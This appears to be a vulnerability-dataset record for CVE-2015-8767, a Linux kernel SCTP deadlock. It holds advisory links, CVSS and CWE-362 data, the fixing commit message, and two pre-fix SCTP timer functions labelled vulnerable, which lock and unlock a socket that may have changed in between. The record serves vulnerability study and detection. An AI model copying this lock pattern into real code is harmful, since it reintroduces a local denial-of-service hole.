[{'url': 'https://github.com/torvalds/linux/commit/635682a14427d241bab7bbdeebb48a7d7b91638e', 'name': 'https://github.com/torvalds/linux/commit/635682a14427d241bab7bbdeebb48a7d7b91638e', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Third Party Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2016/01/11/4', 'name': '[oss-security] 20160111 CVE Request: Linux kernel - SCTP denial of service during heartbeat timeout functions.', 'refsource': 'MLIST', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1297389', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1297389', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=635682a14427d241bab7bbdeebb48a7d7b91638e', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=635682a14427d241bab7bbdeebb48a7d7b91638e', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1341', 'name': 'RHSA-2016:1341', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1277', 'name': 'RHSA-2016:1277', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1301', 'name': 'RHSA-2016:1301', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-0715.html', 'name': 'RHSA-2016:0715', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjul2016-3090544.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjul2016-3090544.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://www.securityfocus.com/bid/80268', 'name': '80268', 'refsource': 'BID', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00038.html', 'name': 'SUSE-SU-2016:2074', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://www.debian.org/security/2016/dsa-3503', 'name': 'DSA-3503', 'refsource': 'DEBIAN', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00015.html', 'name': 'openSUSE-SU-2016:1008', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2967-1', 'name': 'USN-2967-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2967-2', 'name': 'USN-2967-2', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2930-1', 'name': 'USN-2930-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2931-1', 'name': 'USN-2931-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2932-1', 'name': 'USN-2932-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2930-3', 'name': 'USN-2930-3', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2930-2', 'name': 'USN-2930-2', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-03/msg00094.html', 'name': 'SUSE-SU-2016:0911', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00045.html', 'name': 'SUSE-SU-2016:1102', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2016-February/176484.html', 'name': 'FEDORA-2016-5d43766e33', 'refsource': 'FEDORA', 'tags': ['Third Party Advisory']}, {'url': 'http://www.debian.org/security/2016/dsa-3448', 'name': 'DSA-3448', 'refsource': 'DEBIAN', 'tags': ['Third Party Advisory']}]
[{'description': [{'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.3', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:12.04:*:*:*:lts:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:15.10:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:lts:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'net/sctp/sm_sideeffect.c in the Linux kernel before 4.3 does not properly manage the relationship between a lock and a socket, which allows local users to cause a denial of service (deadlock) via a crafted sctp_accept call.'}]
2018-08-30T16:53Z
2016-02-08T03:59Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Karl Heiss
2015-09-24 12:15:07-04:00
sctp: Prevent soft lockup when sctp_accept() is called during a timeout event A case can occur when sctp_accept() is called by the user during a heartbeat timeout event after the 4-way handshake. Since sctp_assoc_migrate() changes both assoc->base.sk and assoc->ep, the bh_sock_lock in sctp_generate_heartbeat_event() will be taken with the listening socket but released with the new association socket. The result is a deadlock on any future attempts to take the listening socket lock. Note that this race can occur with other SCTP timeouts that take the bh_lock_sock() in the event sctp_accept() is called. BUG: soft lockup - CPU#9 stuck for 67s! [swapper:0] ... RIP: 0010:[<ffffffff8152d48e>] [<ffffffff8152d48e>] _spin_lock+0x1e/0x30 RSP: 0018:ffff880028323b20 EFLAGS: 00000206 RAX: 0000000000000002 RBX: ffff880028323b20 RCX: 0000000000000000 RDX: 0000000000000000 RSI: ffff880028323be0 RDI: ffff8804632c4b48 RBP: ffffffff8100bb93 R08: 0000000000000000 R09: 0000000000000000 R10: ffff880610662280 R11: 0000000000000100 R12: ffff880028323aa0 R13: ffff8804383c3880 R14: ffff880028323a90 R15: ffffffff81534225 FS: 0000000000000000(0000) GS:ffff880028320000(0000) knlGS:0000000000000000 CS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b CR2: 00000000006df528 CR3: 0000000001a85000 CR4: 00000000000006e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Process swapper (pid: 0, threadinfo ffff880616b70000, task ffff880616b6cab0) Stack: ffff880028323c40 ffffffffa01c2582 ffff880614cfb020 0000000000000000 <d> 0100000000000000 00000014383a6c44 ffff8804383c3880 ffff880614e93c00 <d> ffff880614e93c00 0000000000000000 ffff8804632c4b00 ffff8804383c38b8 Call Trace: <IRQ> [<ffffffffa01c2582>] ? sctp_rcv+0x492/0xa10 [sctp] [<ffffffff8148c559>] ? nf_iterate+0x69/0xb0 [<ffffffff814974a0>] ? ip_local_deliver_finish+0x0/0x2d0 [<ffffffff8148c716>] ? nf_hook_slow+0x76/0x120 [<ffffffff814974a0>] ? ip_local_deliver_finish+0x0/0x2d0 [<ffffffff8149757d>] ? ip_local_deliver_finish+0xdd/0x2d0 [<ffffffff81497808>] ? ip_local_deliver+0x98/0xa0 [<ffffffff81496ccd>] ? ip_rcv_finish+0x12d/0x440 [<ffffffff81497255>] ? ip_rcv+0x275/0x350 [<ffffffff8145cfeb>] ? __netif_receive_skb+0x4ab/0x750 ... With lockdep debugging: ===================================== [ BUG: bad unlock balance detected! ] ------------------------------------- CslRx/12087 is trying to release lock (slock-AF_INET) at: [<ffffffffa01bcae0>] sctp_generate_timeout_event+0x40/0xe0 [sctp] but there are no more locks to release! other info that might help us debug this: 2 locks held by CslRx/12087: #0: (&asoc->timers[i]){+.-...}, at: [<ffffffff8108ce1f>] run_timer_softirq+0x16f/0x3e0 #1: (slock-AF_INET){+.-...}, at: [<ffffffffa01bcac3>] sctp_generate_timeout_event+0x23/0xe0 [sctp] Ensure the socket taken is also the same one that is released by saving a copy of the socket before entering the timeout event critical section. Signed-off-by: Karl Heiss <[email protected]> Signed-off-by: David S. Miller <[email protected]>
635682a14427d241bab7bbdeebb48a7d7b91638e
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
sctp_generate_heartbeat_event
sctp_generate_heartbeat_event( unsigned long data)
['data']
void sctp_generate_heartbeat_event(unsigned long data) { int error = 0; struct sctp_transport *transport = (struct sctp_transport *) data; struct sctp_association *asoc = transport->asoc; struct net *net = sock_net(asoc->base.sk); bh_lock_sock(asoc->base.sk); if (sock_owned_by_user(asoc->base.sk)) { pr_debug("%s: sock is busy\n", __func__); /* Try again later. */ if (!mod_timer(&transport->hb_timer, jiffies + (HZ/20))) sctp_transport_hold(transport); goto out_unlock; } /* Is this structure just waiting around for us to actually * get destroyed? */ if (transport->dead) goto out_unlock; error = sctp_do_sm(net, SCTP_EVENT_T_TIMEOUT, SCTP_ST_TIMEOUT(SCTP_EVENT_TIMEOUT_HEARTBEAT), asoc->state, asoc->ep, asoc, transport, GFP_ATOMIC); if (error) asoc->base.sk->sk_err = -error; out_unlock: bh_unlock_sock(asoc->base.sk); sctp_transport_put(transport); }
172
True
1
CVE-2015-8767
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
NONE
NONE
UNCHANGED
NONE
NONE
HIGH
6.2
MEDIUM
2.5
3.6
nan
[{'url': 'https://github.com/torvalds/linux/commit/635682a14427d241bab7bbdeebb48a7d7b91638e', 'name': 'https://github.com/torvalds/linux/commit/635682a14427d241bab7bbdeebb48a7d7b91638e', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Third Party Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2016/01/11/4', 'name': '[oss-security] 20160111 CVE Request: Linux kernel - SCTP denial of service during heartbeat timeout functions.', 'refsource': 'MLIST', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1297389', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1297389', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=635682a14427d241bab7bbdeebb48a7d7b91638e', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=635682a14427d241bab7bbdeebb48a7d7b91638e', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1341', 'name': 'RHSA-2016:1341', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1277', 'name': 'RHSA-2016:1277', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1301', 'name': 'RHSA-2016:1301', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-0715.html', 'name': 'RHSA-2016:0715', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjul2016-3090544.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjul2016-3090544.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://www.securityfocus.com/bid/80268', 'name': '80268', 'refsource': 'BID', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00038.html', 'name': 'SUSE-SU-2016:2074', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://www.debian.org/security/2016/dsa-3503', 'name': 'DSA-3503', 'refsource': 'DEBIAN', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00015.html', 'name': 'openSUSE-SU-2016:1008', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2967-1', 'name': 'USN-2967-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2967-2', 'name': 'USN-2967-2', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2930-1', 'name': 'USN-2930-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2931-1', 'name': 'USN-2931-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2932-1', 'name': 'USN-2932-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2930-3', 'name': 'USN-2930-3', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2930-2', 'name': 'USN-2930-2', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-03/msg00094.html', 'name': 'SUSE-SU-2016:0911', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00045.html', 'name': 'SUSE-SU-2016:1102', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2016-February/176484.html', 'name': 'FEDORA-2016-5d43766e33', 'refsource': 'FEDORA', 'tags': ['Third Party Advisory']}, {'url': 'http://www.debian.org/security/2016/dsa-3448', 'name': 'DSA-3448', 'refsource': 'DEBIAN', 'tags': ['Third Party Advisory']}]
[{'description': [{'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
[{'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*', 'versionEndExcluding': '4.3', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:8.0:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:debian:debian_linux:7.0:*:*:*:*:*:*:*', 'cpe_name': []}]}, {'operator': 'OR', 'children': [], 'cpe_match': [{'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:12.04:*:*:*:lts:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:15.10:*:*:*:*:*:*:*', 'cpe_name': []}, {'vulnerable': True, 'cpe23Uri': 'cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:lts:*:*:*', 'cpe_name': []}]}]
[{'lang': 'en', 'value': 'net/sctp/sm_sideeffect.c in the Linux kernel before 4.3 does not properly manage the relationship between a lock and a socket, which allows local users to cause a denial of service (deadlock) via a crafted sctp_accept call.'}]
2018-08-30T16:53Z
2016-02-08T03:59Z
Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider. A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc. A race condition violates these properties, which are closely related: Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution. Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource. A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x). The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.
https://cwe.mitre.org/data/definitions/362.html
0
Karl Heiss
2015-09-24 12:15:07-04:00
sctp: Prevent soft lockup when sctp_accept() is called during a timeout event A case can occur when sctp_accept() is called by the user during a heartbeat timeout event after the 4-way handshake. Since sctp_assoc_migrate() changes both assoc->base.sk and assoc->ep, the bh_sock_lock in sctp_generate_heartbeat_event() will be taken with the listening socket but released with the new association socket. The result is a deadlock on any future attempts to take the listening socket lock. Note that this race can occur with other SCTP timeouts that take the bh_lock_sock() in the event sctp_accept() is called. BUG: soft lockup - CPU#9 stuck for 67s! [swapper:0] ... RIP: 0010:[<ffffffff8152d48e>] [<ffffffff8152d48e>] _spin_lock+0x1e/0x30 RSP: 0018:ffff880028323b20 EFLAGS: 00000206 RAX: 0000000000000002 RBX: ffff880028323b20 RCX: 0000000000000000 RDX: 0000000000000000 RSI: ffff880028323be0 RDI: ffff8804632c4b48 RBP: ffffffff8100bb93 R08: 0000000000000000 R09: 0000000000000000 R10: ffff880610662280 R11: 0000000000000100 R12: ffff880028323aa0 R13: ffff8804383c3880 R14: ffff880028323a90 R15: ffffffff81534225 FS: 0000000000000000(0000) GS:ffff880028320000(0000) knlGS:0000000000000000 CS: 0010 DS: 0018 ES: 0018 CR0: 000000008005003b CR2: 00000000006df528 CR3: 0000000001a85000 CR4: 00000000000006e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 Process swapper (pid: 0, threadinfo ffff880616b70000, task ffff880616b6cab0) Stack: ffff880028323c40 ffffffffa01c2582 ffff880614cfb020 0000000000000000 <d> 0100000000000000 00000014383a6c44 ffff8804383c3880 ffff880614e93c00 <d> ffff880614e93c00 0000000000000000 ffff8804632c4b00 ffff8804383c38b8 Call Trace: <IRQ> [<ffffffffa01c2582>] ? sctp_rcv+0x492/0xa10 [sctp] [<ffffffff8148c559>] ? nf_iterate+0x69/0xb0 [<ffffffff814974a0>] ? ip_local_deliver_finish+0x0/0x2d0 [<ffffffff8148c716>] ? nf_hook_slow+0x76/0x120 [<ffffffff814974a0>] ? ip_local_deliver_finish+0x0/0x2d0 [<ffffffff8149757d>] ? ip_local_deliver_finish+0xdd/0x2d0 [<ffffffff81497808>] ? ip_local_deliver+0x98/0xa0 [<ffffffff81496ccd>] ? ip_rcv_finish+0x12d/0x440 [<ffffffff81497255>] ? ip_rcv+0x275/0x350 [<ffffffff8145cfeb>] ? __netif_receive_skb+0x4ab/0x750 ... With lockdep debugging: ===================================== [ BUG: bad unlock balance detected! ] ------------------------------------- CslRx/12087 is trying to release lock (slock-AF_INET) at: [<ffffffffa01bcae0>] sctp_generate_timeout_event+0x40/0xe0 [sctp] but there are no more locks to release! other info that might help us debug this: 2 locks held by CslRx/12087: #0: (&asoc->timers[i]){+.-...}, at: [<ffffffff8108ce1f>] run_timer_softirq+0x16f/0x3e0 #1: (slock-AF_INET){+.-...}, at: [<ffffffffa01bcac3>] sctp_generate_timeout_event+0x23/0xe0 [sctp] Ensure the socket taken is also the same one that is released by saving a copy of the socket before entering the timeout event critical section. Signed-off-by: Karl Heiss <[email protected]> Signed-off-by: David S. Miller <[email protected]>
635682a14427d241bab7bbdeebb48a7d7b91638e
False
torvalds/linux
Linux kernel source tree
2011-09-04 22:48:12
2022-08-26 19:08:15
torvalds
136917.0
44307.0
sctp_generate_proto_unreach_event
sctp_generate_proto_unreach_event( unsigned long data)
['data']
void sctp_generate_proto_unreach_event(unsigned long data) { struct sctp_transport *transport = (struct sctp_transport *) data; struct sctp_association *asoc = transport->asoc; struct net *net = sock_net(asoc->base.sk); bh_lock_sock(asoc->base.sk); if (sock_owned_by_user(asoc->base.sk)) { pr_debug("%s: sock is busy\n", __func__); /* Try again later. */ if (!mod_timer(&transport->proto_unreach_timer, jiffies + (HZ/20))) sctp_association_hold(asoc); goto out_unlock; } /* Is this structure just waiting around for us to actually * get destroyed? */ if (asoc->base.dead) goto out_unlock; sctp_do_sm(net, SCTP_EVENT_T_OTHER, SCTP_ST_OTHER(SCTP_EVENT_ICMP_PROTO_UNREACH), asoc->state, asoc->ep, asoc, transport, GFP_ATOMIC); out_unlock: bh_unlock_sock(asoc->base.sk); sctp_association_put(asoc); }
152
True
1
CVE-2015-8767
False
False
False
False
AV:L/AC:L/Au:N/C:N/I:N/A:C
LOCAL
LOW
NONE
NONE
NONE
COMPLETE
4.9
CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
LOCAL
LOW
NONE
NONE
UNCHANGED
NONE
NONE
HIGH
6.2
MEDIUM
2.5
3.6
nan
[{'url': 'https://github.com/torvalds/linux/commit/635682a14427d241bab7bbdeebb48a7d7b91638e', 'name': 'https://github.com/torvalds/linux/commit/635682a14427d241bab7bbdeebb48a7d7b91638e', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Third Party Advisory']}, {'url': 'http://www.openwall.com/lists/oss-security/2016/01/11/4', 'name': '[oss-security] 20160111 CVE Request: Linux kernel - SCTP denial of service during heartbeat timeout functions.', 'refsource': 'MLIST', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1297389', 'name': 'https://bugzilla.redhat.com/show_bug.cgi?id=1297389', 'refsource': 'CONFIRM', 'tags': ['Issue Tracking', 'Third Party Advisory']}, {'url': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=635682a14427d241bab7bbdeebb48a7d7b91638e', 'name': 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=635682a14427d241bab7bbdeebb48a7d7b91638e', 'refsource': 'CONFIRM', 'tags': ['Patch', 'Vendor Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1341', 'name': 'RHSA-2016:1341', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1277', 'name': 'RHSA-2016:1277', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'https://access.redhat.com/errata/RHSA-2016:1301', 'name': 'RHSA-2016:1301', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'http://rhn.redhat.com/errata/RHSA-2016-0715.html', 'name': 'RHSA-2016:0715', 'refsource': 'REDHAT', 'tags': ['Third Party Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjul2016-3090544.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinjul2016-3090544.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html', 'name': 'http://www.oracle.com/technetwork/topics/security/linuxbulletinapr2016-2952096.html', 'refsource': 'CONFIRM', 'tags': ['Third Party Advisory']}, {'url': 'http://www.securityfocus.com/bid/80268', 'name': '80268', 'refsource': 'BID', 'tags': ['Third Party Advisory', 'VDB Entry']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-08/msg00038.html', 'name': 'SUSE-SU-2016:2074', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://www.debian.org/security/2016/dsa-3503', 'name': 'DSA-3503', 'refsource': 'DEBIAN', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00015.html', 'name': 'openSUSE-SU-2016:1008', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2967-1', 'name': 'USN-2967-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2967-2', 'name': 'USN-2967-2', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2930-1', 'name': 'USN-2930-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2931-1', 'name': 'USN-2931-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2932-1', 'name': 'USN-2932-1', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2930-3', 'name': 'USN-2930-3', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://www.ubuntu.com/usn/USN-2930-2', 'name': 'USN-2930-2', 'refsource': 'UBUNTU', 'tags': ['Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-03/msg00094.html', 'name': 'SUSE-SU-2016:0911', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00045.html', 'name': 'SUSE-SU-2016:1102', 'refsource': 'SUSE', 'tags': ['Mailing List', 'Third Party Advisory']}, {'url': 'http://lists.fedoraproject.org/pipermail/package-announce/2016-February/176484.html', 'name': 'FEDORA-2016-5d43766e33', 'refsource': 'FEDORA', 'tags': ['Third Party Advisory']}, {'url': 'http://www.debian.org/security/2016/dsa-3448', 'name': 'DSA-3448', 'refsource': 'DEBIAN', 'tags': ['Third Party Advisory']}]
[{'description': [{'lang': 'en', 'value': 'CWE-362'}]}]
MEDIUM
